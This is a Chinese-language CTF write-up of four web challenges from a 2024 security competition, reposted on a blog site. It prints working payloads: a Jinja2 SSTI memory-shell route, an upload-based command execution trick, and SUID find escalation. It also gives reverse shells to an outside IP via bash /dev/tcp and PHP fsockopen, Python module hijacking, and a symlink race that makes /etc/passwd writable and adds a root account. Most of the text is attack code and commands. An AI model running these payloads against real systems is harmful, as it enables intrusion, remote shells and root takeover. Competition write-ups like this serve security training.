2024 第七届“巅峰极客”网络安全技能挑战赛初赛 Web方向 题解WirteUp

EncirclingGame

题目描述:A simple game, enjoy it and get the flag when you complete it.

开题,前端小游戏,红点出不去就行

image-20240817132551392

直接玩通关了

image-20240817133147345

看看如何不玩也能拿到flag,flag存储在后端php文件内,前端找不到。

看一下游戏的请求包,里面记录了红点的最后位置和防火墙(黑点)的位置。

image-20240817134012060

那么我们伪造下,防火墙绕满周围一圈,但是红点在最中间。

路由:/verifyVictory.php方法:POST
{"gameState":{"virusPosition":{"x":5,"y":5},"firewalls":[{"x": 0, "y": 0}, {"x": 1, "y": 0}, {"x": 2, "y": 0}, {"x": 3, "y": 0}, {"x": 4, "y": 0},{"x": 5, "y": 0}, {"x": 6, "y": 0}, {"x": 7, "y": 0}, {"x": 8, "y": 0}, {"x": 9, "y": 0}, {"x": 10, "y": 0}, {"x": 0, "y": 10}, {"x": 1, "y": 10}, {"x": 2, "y": 10}, {"x": 3, "y": 10}, {"x": 4, "y": 10}, {"x": 5, "y": 10}, {"x": 6, "y": 10}, {"x": 7, "y": 10}, {"x": 8, "y": 10}, {"x": 9, "y": 10}, {"x": 10, "y": 10}, {"x": 0, "y": 1}, {"x": 0, "y": 2}, {"x": 0, "y": 3}, {"x": 0, "y": 4}, {"x": 0, "y": 5}, {"x": 0, "y": 6}, {"x": 0, "y": 7}, {"x": 0, "y": 8}, {"x": 0, "y": 9}, {"x": 10, "y": 1}, {"x": 10, "y": 2}, {"x": 10, "y": 3}, {"x": 10, "y": 4}, {"x": 10, "y": 5}, {"x": 10, "y": 6}, {"x": 10, "y": 7}, {"x": 10, "y": 8}, {"x": 10, "y": 9}]},"token":"game-lab-token"}

image-20240817134619754

GoldenHornKing

题目描述:举一反三。

开题,直接给了源码

image-20240817122126538

import os  # 导入操作系统相关的模块
import jinja2  # 导入 Jinja2 模板引擎模块
import functools  # 导入工具函数模块,提供高阶函数
import uvicorn  # 导入 Uvicorn,用于运行 ASGI 应用
from fastapi import FastAPI  # 从 FastAPI 库中导入 FastAPI 类,用于创建应用
from fastapi.templating import Jinja2Templates  # 从 FastAPI 导入 Jinja2Templates,用于模板渲染
from anyio import fail_after, sleep  # 从 anyio 库中导入 fail_after 用于设置超时,以及 sleep 用于异步睡眠# 指定所使用的库的版本:
# jinja2==3.1.2
# uvicorn==0.30.5
# fastapi==0.112.0def timeout_after(timeout: int = 1):  # 定义一个超时装饰器,默认超时时间为1秒def decorator(func):  # 接收一个函数作为参数@functools.wraps(func)  # 保留被装饰函数的元信息async def wrapper(*args, **kwargs):  # 定义一个异步包装函数with fail_after(timeout):  # 在指定的超时时间内执行被装饰的函数return await func(*args, **kwargs)  # 等待并返回被装饰函数的执行结果return wrapper  # 返回包装函数return decorator  # 返回装饰器函数app = FastAPI()  # 创建一个 FastAPI 应用实例
access = False  # 定义一个全局变量,用于控制访问权限_base_path = os.path.dirname(os.path.abspath(__file__))  # 获取当前文件的绝对路径,并提取其目录路径
t = Jinja2Templates(directory=_base_path)  # 创建一个 Jinja2Templates 实例,指定模板文件的目录@app.get("/")  # 定义一个处理根路径的 GET 请求的路由
@timeout_after(1)  # 使用超时装饰器,设置超时时间为1秒
async def index():  # 定义异步处理函数return open(__file__, 'r').read()  # 打开当前文件并读取其内容,作为响应返回@app.get("/calc")  # 定义一个处理 /calc 路径的 GET 请求的路由
@timeout_after(1)  # 使用超时装饰器,设置超时时间为1秒
async def ssti(calc_req: str):  # 定义异步处理函数,接收一个字符串参数 calc_reqglobal access  # 声明使用全局变量 accessif (any(char.isdigit() for char in calc_req)) or ("%\" in calc_req) or not calc_req.isascii() or access:# 检查 calc_req 中是否包含数字字符,或者包含字符 '%',或者是否全为 ASCII 字符,或者 access 为 Truereturn "bad char"  # 如果满足上述任意条件,返回 "bad char"else:jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})# 使用 Jinja2 模板引擎渲染 calc_req 表达式,传递 app 对象作为上下文access = True  # 设置 access 为 True,限制进一步访问return "fight"  # 返回 "fight"if __name__ == "__main__":  # 判断是否为主程序入口uvicorn.run(app, host="0.0.0.0", port=8000)  # 使用 Uvicorn 运行应用,监听所有网络接口的8000端口

是一个jinja2的SSTI,限制是不能包含数字字符,或者包含字符 '%',或者是全为 ASCII 字符,或者 access 为 True

同时,只要一次access 为 True后便无法再次输入,得重启环境(好像有点似曾相识,NSS round20我也这样子出题的

仓库里翻一个内存马出来

#直接访问/shell路由
app.add_url_rule('/flag',lambda:__import__('os').popen('cat /flag').read())

转为SSTIpayload应该如下,由于是FastAPI,add_url_rule换成add_api_route。同时绕过了题目限制

{{config.__class__.__init__.__globals__['__builtins__'].eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/flag', lambda:__import__('os').popen('cat /flag').read())")}}

payload:

/calc?calc_req=config.__class__.__init__.__globals__['__builtins__'].eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/flag',lambda:__import__('os').popen('cat /flag').read())")

image-20240817200659420

访问flag路由读取flag

image-20240817200716896

admin_Test

题目描述:某系统有一个后台管理系统,里面的系统可以帮助管理员更好的管理系统并且防护来自于黑客的攻击,但仍存在漏洞,请尝试读取到系统当中的flag文件。

开题,是一个登录框,没有注册选项

image-20240817120527144

扫一下敏感目录:

/admin.html
/upload.php

/admin.html路由具备一个文件上传功能和一个命令输入框

image-20240817214352183

上传时一直显示Invalid char,经过几次发包尝试,应该是对上传的命令字符串做了限制,大概率是单个字母的过滤。

单个字母跑一下题目waf

只允许t/.

image-20240817214855339

同时文件部分一律无法上传。

看到白名单字符大概有头绪了,CTFSHOW永远的神!

在PHP中,强制上传文件时,文件会被存在临时文件/tmp/phpxxxxxx中

这个文件最后六位xxxxxx有大小写字母、数字组成,是生命周期只在PHP代码运行时。

故我们要匹配/tmp/phpxxxxxx的话可以用通配符/???/?????????,也可以使用/t*/*

文件上传时输入的命令会被执行,能调用到上传的文件(内容是命令)就行

payload:

------WebKitFormBoundarynjB2WAcSH6J6Hmiq
Content-Disposition: form-data; name="file"; filename="myshell.php"
Content-Type: application/octet-stream【要执行的命令】
------WebKitFormBoundarynjB2WAcSH6J6Hmiq
Content-Disposition: form-data; name="cmd". /t*/*
------WebKitFormBoundarynjB2WAcSH6J6Hmiq--

flag没权限读,需要提权

image-20240817220808173

find提权即可

find / -user root -perm -4000 -print 2>/dev/null
find /tmp -exec cat /flag \;

image-20240817220954102

php_online

题目描述:can you break this sandbox?

附件给了源码:

from flask import Flask, request, session, redirect, url_for, render_template
import os
import secretsapp = Flask(__name__)  # 创建一个 Flask 应用实例
app.secret_key = secrets.token_hex(16)  # 为 Flask 应用设置一个随机生成的秘密密钥,用于会话管理
working_id = []  # 定义一个空列表,用于跟踪当前正在处理的用户ID@app.route('/', methods=['GET', 'POST'])  # 定义根路由,支持 GET 和 POST 请求
def index():  # 定义处理该路由的函数if request.method == 'POST':  # 如果请求方法是 POSTid = request.form['id']  # 获取表单中提交的 idif not id.isalnum() or len(id) != 8:  # 检查 id 是否为字母数字组合且长度为8return '无效的ID'  # 如果 id 不符合条件,返回“无效的ID”消息session['id'] = id  # 将 id 存储在用户的会话中if not os.path.exists(f'/sandbox/{id}'):  # 如果沙箱目录中不存在该 id 的文件夹os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read()# 创建该文件夹,并设置权限为 www-data 用户所有,且所有用户都有写权限return redirect(url_for('sandbox'))  # 重定向到 /sandbox 路由return render_template('submit_id.html')  # 如果请求方法是 GET,渲染 submit_id.html 模板@app.route('/sandbox', methods=['GET', 'POST'])  # 定义 /sandbox 路由,支持 GET 和 POST 请求
def sandbox():  # 定义处理该路由的函数if request.method == 'GET':  # 如果请求方法是 GETif 'id' not in session:  # 如果会话中没有 idreturn redirect(url_for('index'))  # 重定向到根路由else:return render_template('submit_code.html')  # 渲染 submit_code.html 模板if request.method == 'POST':  # 如果请求方法是 POSTif 'id' not in session:  # 如果会话中没有 idreturn 'no id'  # 返回 “no id” 消息user_id = session['id']  # 从会话中获取用户的 idif user_id in working_id:  # 检查用户 id 是否已经在运行任务return 'task is still running'  # 返回“任务仍在运行”消息else:working_id.append(user_id)  # 将用户 id 添加到正在运行的任务列表中code = request.form.get('code')  # 获取提交的代码os.popen(f'cd /sandbox/{user_id} && rm *').read()  # 删除用户沙箱目录中的所有文件os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()# 将 init.py 文件复制到用户的沙箱目录中,并以 www-data 用户执行os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read()  # 删除沙箱目录中的 phpcode 文件php_file = open(f'/sandbox/{user_id}/phpcode', 'w')  # 创建一个新的 phpcode 文件php_file.write(code)  # 将提交的代码写入该文件php_file.close()  # 关闭文件result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read()  # 以 nobody 用户执行该 PHP 代码,并获取结果os.popen(f'cd /sandbox/{user_id} && rm *').read()  # 执行后删除所有文件working_id.remove(user_id)  # 从运行中的任务列表中移除该用户 idreturn result  # 返回执行结果if __name__ == '__main__':  # 如果当前模块是主程序app.run(debug=False, host='0.0.0.0', port=80)  # 启动 Flask 应用,关闭调试模式,在所有网络接口上监听,使用80端口

开题,需要先输入一个八位的有数字和字母组成的ID,这里采用Jay17aaa

image-20240817112919545

之后可以执行任意php代码,无法直接读取flag,无法出网

total 68
drwxr-xr-x  1 root      root    4096 Aug 17 03:22 .
drwxr-xr-x  1 root      root    4096 Aug 17 03:22 ..
drwxr-xr-x  1 root      root    4096 Aug 14 09:10 app
lrwxrwxrwx  1 root      root       7 Oct  6 2021 bin -> usr/bin
drwxr-xr-x  2 root      root    4096 Apr 15 2020 boot
drwxr-xr-x  5 root      root     380 Aug 17 03:22 dev
drwxr-xr-x  1 root      root    4096 Aug 14 09:09 etc
-rwx------  1 root      root      42 Aug 17 03:22 flag
drwxr-xr-x  2 root      root    4096 Apr 15 2020 home
lrwxrwxrwx  1 root      root       7 Oct  6 2021 lib -> usr/lib
lrwxrwxrwx  1 root      root       9 Oct  6 2021 lib32 -> usr/lib32
lrwxrwxrwx  1 root      root       9 Oct  6 2021 lib64 -> usr/lib64
lrwxrwxrwx  1 root      root      10 Oct  6 2021 libx32 -> usr/libx32
drwxr-xr-x  2 root      root    4096 Oct  6 2021 media
drwxr-xr-x  2 root      root    4096 Oct  6 2021 mnt
drwxr-xr-x  2 root      root    4096 Oct  6 2021 opt
dr-xr-xr-x 187 root      root       0 Aug 17 03:22 proc
drwx------  2 root      root    4096 Oct  6 2021 root
drwxr-xr-x  1 root      root    4096 Aug 17 03:22 run
drwxr-xr-x  1 www-data  root    4096 Aug 17 03:28 sandbox
lrwxrwxrwx  1 root      root       8 Oct  6 2021 sbin -> usr/sbin
drwxr-xr-x  2 root      root    4096 Oct  6 2021 srv
dr-xr-xr-x 13 root      root       0 Aug 17 03:22 sys
drwxrwxrwt  1 root      root    4096 Aug 17 03:39 tmp
drwxr-xr-x  1 root      root    4096 Oct  6 2021 usr
drwxr-xr-x  1 root      root    4096 Oct  6 2021 var

image-20240817222029549

import logging 
logger.info('Code execution start')

同时目前用户的权限极低

image-20240817114059773

信息搜集差不多这样子了,开始做题。我们三步走,每一步标题加粗高亮

第一步,反弹shell

起一个test1111用户

不能直接弹

<?php
system('bash -i >& /dev/tcp/124.71.147.99/1717 0>&1');

以下两种方式都可以

<?php
system('bash -c "bash -i >& /dev/tcp/124.71.147.99/1717 0>&1"');
<?php
system('php -r \'$sock=fsockopen("124.71.147.99",1717);exec("sh <&3 >&3 2>&3");\'');?>

image-20240817232037868

由于源码sudo -u nobody php phpcode来起php服务,用php反弹shell用户只能是nobody

第二步,通过python拿下www-data权限

方法一:

在反弹shell时候,由于/sandbox/{user_id}有权限,可以直接写python文件

<?php
system('rm init.py;mkdir init.py;chmod 777 init.py;ls init.py/');
file_put_contents("init.py/__main__.py","import os\nos.system('bash -c \"bash -i >& /dev/tcp/124.71.147.99/1717 0>&1\"')");

image-20240817232906798

方法二:

init.py(源码在上文) 开头import logging导入了logging库,但是同目录下具有logging.py的话,会优先应用目录下logging.py文件;如果同目录下具备logging文件夹的话,会优先应用logging文件夹下的__init__.py文件。

方法二-①:

条件竞争

在nobody的shell下执行命令

echo "__import__('os').popen('bash -c \"bash -i >& /dev/tcp/124.71.147.99/1717 0>&1\"')" > /tmp/logging.py
echo "while true; do" >> /tmp/exp.sh
echo "cp /tmp/logging.py /sandbox/test2222/logging.py" >> /tmp/exp.sh
echo "done" >> /tmp/exp.sh
chmod +x /tmp/exp.sh
sh /tmp/exp.sh

源码:sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py

创建一个test2222用户,随便执行一点代码,一直在运行的文件写入以便触发题目源码中的sudo -u www-data python3 init.py语句

运行恶意/sandbox/test2222/logging.py后反弹shell,发现成功变为www-data权限

image-20240818000323647

image-20240818000340769

方法二-②:

直接创建一个logging/__init__.py劫持

先创建一个test3333用户

在nobody的shell下执行命令(这个shell端口1717)

mkdir /sandbox/test3333/logging/
echo "import os" >> /sandbox/test3333/logging/__init__.py
echo "os.system('bash -c \"bash -i >& /dev/tcp/124.71.147.99/1718 0>&1\"')" >> /sandbox/test3333/logging/__init__.py

image-20240817235401516

test3333用户任意执行代码,同时开启监听(端口1718)

image-20240817235501710


第三步,提权root读flag

有了www用户权限后,我们可以通过两种方式提权读flag。

方法一:条件竞争修改文件权限,passwd提权读取flag

Linux sudo 提权之软链接攻击 - sparkchans - 博客园 (cnblogs.com)

注意源码有一句(注意python的权限是root)

mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}

本意是创建目录并且修改权限。同时mkdirchmod两个命令不是同时执行的

mkdirchmod两个命令之间如果执行了以下命令:

ln -s /etc/passwd /sandbox/test4444
rm -rf /sandbox/test4444

那么chmod a+w /sandbox/test4444这条命令修改的权限就不再是/sandbox/test4444而是/etc/passwd

由于mkdirchmod两个命令执行时间间隔太短,我们需要用条件竞争来达到上述的设想,操作如下:

www-data的shell执行命令(while true死循环一直执行)

while true; do ln -s /etc/passwd /sandbox/test4444; rm -rf /etc/passwd; done

yakit发包,无用参数爆破实现循环发包创建test4444用户

POST:
id=test4444&17={{payload(pass1,top1000,pass2)}}

image-20240818124758802

稍等一会,就能发现/etc/passwd的权限变为可以修改了。

那么接下来就是/etc/passwd提权(唯一条件是/etc/passwd文件可写)

image-20240818125500332

生成带有salt的密码advwtv/9yU5yQ

#利用openssl生成加密的密码, 语法:openssl passwd-1-salt[salt value]password
openssl passwd -1 -salt user3 pass123#mkpasswd类似于openssl passwd,它将生成指定密码字符串的哈希值。
mkpasswd -m SHA-512 pass#利用python中的crypt库生成
python -c 'import crypt; print crypt.crypt("pass", "$6$salt")'#利用Perl和crypt来使用salt值为我们的密码生成哈希值
perl -le 'print crypt("pass123", "abc")'#php语言
php -r "print(crypt('aarti','123') . " ");"
perl -le 'print crypt("password@123","addedsalt")'

image-20240818125036268

然后执行下面这条命令,成功将Jay17用户的信息加入 /etc/passwd 文件

echo "Jay17:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd

image-20240818130332588

image-20240818130533062

以用户名:Jay17 密码: password@123 登录主机,登录成功后,是 root 权限。

ssh Jay17@124.71.147.99

image-20240818130653697

image-20240818130704197

有了root权限后就可以读取flag了。

方法二:定时任务提权root读取flag

首先介绍下定时任务

可以使用 crontab -e 命令来编辑用户的定时任务列表。

crontab -e

这将打开用户的 crontab 文件,你可以在其中添加定时任务。定时任务的格式如下:

* * * * * 【command_to_execute】

每个字段的含义依次为:

分钟(0-59) 小时(0-23) 日(1-31) 月(1-12) 星期几(0-7, 0和7表示星期日)

例如,想每天凌晨 3:30 运行一个脚本 /path/to/script.sh,可以在 crontab 中添加以下行:

30 3 * * * /path/to/script.sh

也可以在 /etc/cron.d/ 目录下创建一个文件,并在其中定义定时任务。这种方式适用于系统级的定时任务,文件中的格式和 crontab 文件类似,但每行的格式为:

minute hour day month day_of_week user command

例如:

30 3 * * * root /path/to/script.sh

继续做题。可以通过命令crontab -l查看当前用户的定时任务。

但是题目shell是www-data,看不到root用户的定时任务(以下为VPS测试结果)

image-20240818134045642

执行命令ps -ef列出所有正在运行的进程,并以较为详细的格式显示这些进程的信息。大头哥通过CMD(系统启动命令行)来判断是否有定时任务(/usr/sbin/cron

image-20240818133631239

image-20240818133645719

常见定时任务存放目录:

/etc/cron.d
/etc/crontab
/var/spool/cron/crontabs
/etc/cron.hourly
/etc/cron.daily
/etc/cron.weekly
/etc/cron.monthly

本题是/etc/cron.d,创建用户test5555,创建软连接ln -s /etc/cron.d /sandbox/test5555

前端phpcode写入内容:

* * * * * root cat /flag > /tmp/flag
# <?php sleep(1000);?>
* * * * * root cat /flag>/tmp/111
#<?php while(1){echo 1;};?>

二选一都可以,两者的php代码都是避免rm *将/sandbox/test5555/phpcode文件删除太快而定时任务未正常运行。

前者是sleep,php执行就得花一秒,后者是死循环执行。

同时,两者由于软连接到定时任务,所以当作定时任务执行时#注释了php代码不影响定时任务;同时在作为php执行时,由于文件头<?php的作用,前面的定时任务不会被认为是php代码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/53439.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【原创】java+springboot+mysql校园二手商品交易网设计与实现

个人主页&#xff1a;程序猿小小杨 个人简介&#xff1a;从事开发多年&#xff0c;Java、Php、Python、前端开发均有涉猎 博客内容&#xff1a;Java项目实战、项目演示、技术分享 文末有作者名片&#xff0c;希望和大家一起共同进步&#xff0c;你只管努力&#xff0c;剩下的交…

【MySQL】MySQL基础

目录 什么是数据库主流数据库基本使用MySQL的安装连接服务器服务器、数据库、表关系使用案例数据逻辑存储 MySQL的架构SQL分类什么是存储引擎 什么是数据库 mysql它是数据库服务的客户端mysqld它是数据库服务的服务器端mysql本质&#xff1a;基于C&#xff08;mysql&#xff09…

QT 编译报错:C3861: ‘tr‘ identifier not found

问题&#xff1a; QT 编译报错&#xff1a;C3861&#xff1a; ‘tr’ identifier not found 原因 使用tr的地方所在的类没有继承自 QObject 类 或者在不在某一类中&#xff0c; 解决方案 就直接用类名引用 &#xff1a;QObject::tr( )

【舍入,取整,取小数,取余数丨Excel 函数】

数学函数 1、Round函数 Roundup函数 Rounddown函数 取整&#xff1a;(Int /Trunc)其他舍入函数&#xff1a; 2、Mod函数用Mod函数提取小数用Mod函数 分奇偶通过身份证号码判断性别 1、Round函数 Roundup函数 Rounddown函数 Round(数字&#xff0c;保留几位小数)&#xff08;四…

SOEX从去中心化的链上社交关系到创收策略

是时候摆脱传统的在线社区&#xff0c;真正进入 Web3 了&#xff0c;利用区块链的力量&#xff0c;并理解社交互动的意义远不止分享内容或复制交易。代币化将赋能参与提升到一个全新的水平&#xff0c;并带来一系列新的机会。 社交网络可以发挥强大的作用&#xff0c;尤其是从…

Android的logcat日志详解

Android log系统 logcat介绍 logcat是android中的一个命令行工具&#xff0c;可以用于得到程序的log信息。下面介绍 adb logcat中的详细参数命令以及如何才能高效的打印日志&#xff0c;或把日志保存到我们指定的位置。 可以输入 adb logcat --help&#xff0c;查看一下一些简…

VMware vSphere5.0关闭虚拟机电源时,报错从ESXI主机接收到错误

ESXI和VCENTER都是5.0版本的&#xff0c;有台虚拟机关机报错提示从ESXI主机接受到意外错误 具体报错信息如下&#xff1a; 从VCENTER平台对该虚拟机做任何操作都无法生效&#xff0c;后来查看了虚拟机的网络和端口&#xff0c;发现SSH能正常联通&#xff0c;进入虚拟机后使用命…

【云原生】docker 部署 Doris 数据库使用详解

目录 一、前言 二、数据分析概述 2.1 什么是数据分析 2.2 数据分析目的和意义 2.3 数据分析常用的技术和工具 2.3.1 编程语言 2.3.2 数据处理和分析库 2.3.3 数据可视化工具 2.3.4 数据库系统 2.3.5大数据处理框架 2.3.6 云服务和平台 2.3.7 其他工具 三、Doris介绍…

gdb中使用python脚本

1、入门案例 首先有1个a.cpp&#xff0c;代码如下&#xff1a; #include <map> #include <set> #include <iostream> #include <string>using namespace std;struct MyStruct {std::string mName;std::map<int, std::string> mField1;std::set…

51单片机的无线病床呼叫系统【proteus仿真+程序+报告+原理图+演示视频】

1、主要功能 该系统由AT89C51/STC89C52单片机LCD1602显示模块温湿度传感器模块矩阵按键时钟模块等模块构成。适用于病床呼叫系统、16床位呼叫等相似项目。 可实现基本功能: 1、LCD1602实时显示北京时间、温湿度信息、呼叫床位等信息&#xff1b; 2、DHT11采集病房温湿度信息&…

深度学习的发展历程

深度学习的起源 在机器学习中&#xff0c;我们经常使用两种方式来表示特征&#xff1a;局部表示&#xff08;Local Representation&#xff09;和分布式表示&#xff08;Distributed Representation&#xff09;。以颜色表示为例&#xff0c;见下图&#xff1a; 要学习到一种好…

iPhone手机清理软件:照片清理功能全解析

在数字化生活中&#xff0c;智能手机成为我们记录生活点滴的主要工具&#xff0c;尤其是iPhone&#xff0c;以其卓越的相机功能备受用户青睐。然而&#xff0c;成千上万的照片迅速堆积&#xff0c;不仅占用了大量存储空间&#xff0c;还使得设备运行缓慢。在众多解决方案中&…

【数据分享】《中国城市统计年鉴》(1985-2023)全PDF版本 第一次补档

数据介绍 中国城市&#xff0c;如同一本生动的历史书&#xff0c;承载着经济、社会的快速变迁。《中国城市统计年鉴》记录了城市的发展轨迹&#xff0c;是我们理解城市化进程、洞察城市挑战的重要指南。 这份年鉴的数据庞大而详实&#xff0c;囊括了中国城市发展的多个方面。…

船舶机械设备5G智能工厂物联数字孪生平台,推进制造业数字化转型

船舶机械设备5G智能工厂物联数字孪生平台&#xff0c;推进制造业数字化转型。在当今数字化浪潮推动下&#xff0c;船舶制造业正经历着前所未有的变革。为了应对市场的快速变化&#xff0c;提升生产效率&#xff0c;降低成本&#xff0c;并增强国际竞争力&#xff0c;船舶机械设…

海底生物检测-目标检测数据集(包括VOC格式、YOLO格式)

海底生物检测-目标检测数据集&#xff08;包括VOC格式、YOLO格式&#xff09; 数据集&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1Kp4Reqt4tq1IafVF33IrnA?pwddxbv 提取码&#xff1a;dxbv 数据集信息介绍&#xff1a; 共有 7383 张图像和一一对应的标注文件 标…

仕考网:事业编考试考什么?

事业编考试科目为&#xff1a; 《职测》《综应》《公基》三选二 事业编有哪些招考形式? ①联考 多省份统一考试&#xff0c;考试时间、考试内容相同&#xff0c;每年两次&#xff0c;上半年5月和下半年10月各一次; ②单招 用人单位单独招聘&#xff0c;考试时间和内容自…

js原型与原型链详解(万文总结,一文搞懂原型链!)

目录 一&#xff0c;原型 1&#xff0c; 对象 2&#xff0c;原型&#xff08;原型对象&#xff09; 二&#xff0c;隐式原型__proto__ 1&#xff0c;__proto__ 2&#xff0c;考你一下 三&#xff0c;原型链 1&#xff0c;Object.prototype 2&#xff0c;链 四&#xff0c;练…

C++第四十七弹---深入理解异常机制:try, catch, throw全面解析

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】 目录 1.C语言传统的处理错误的方式 2.C异常概念 3. 异常的使用 3.1 异常的抛出和捕获 3.2 异常的重新抛出 3.3 异常安全 3.4 异常规范 4.自定义…

OpenCV结构分析与形状描述符(8)点集凸包计算函数convexHull()的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 查找一个点集的凸包。 函数 cv::convexHull 使用斯克拉斯基算法&#xff08;Sklansky’s algorithm&#xff09;来查找一个二维点集的凸包&#…

java基础-IO(1)

1、从计算机的存储说起 电脑电脑&#xff0c;有电才能发挥出“脑”的作用&#xff0c;没电就是破铜烂铁一堆&#xff0c;根据电的特性&#xff08;高低电平&#xff09;巧妙的使用0、1组合&#xff0c;记住了万事万物&#xff0c;才得以让"破铜烂铁"发挥出神奇的功效…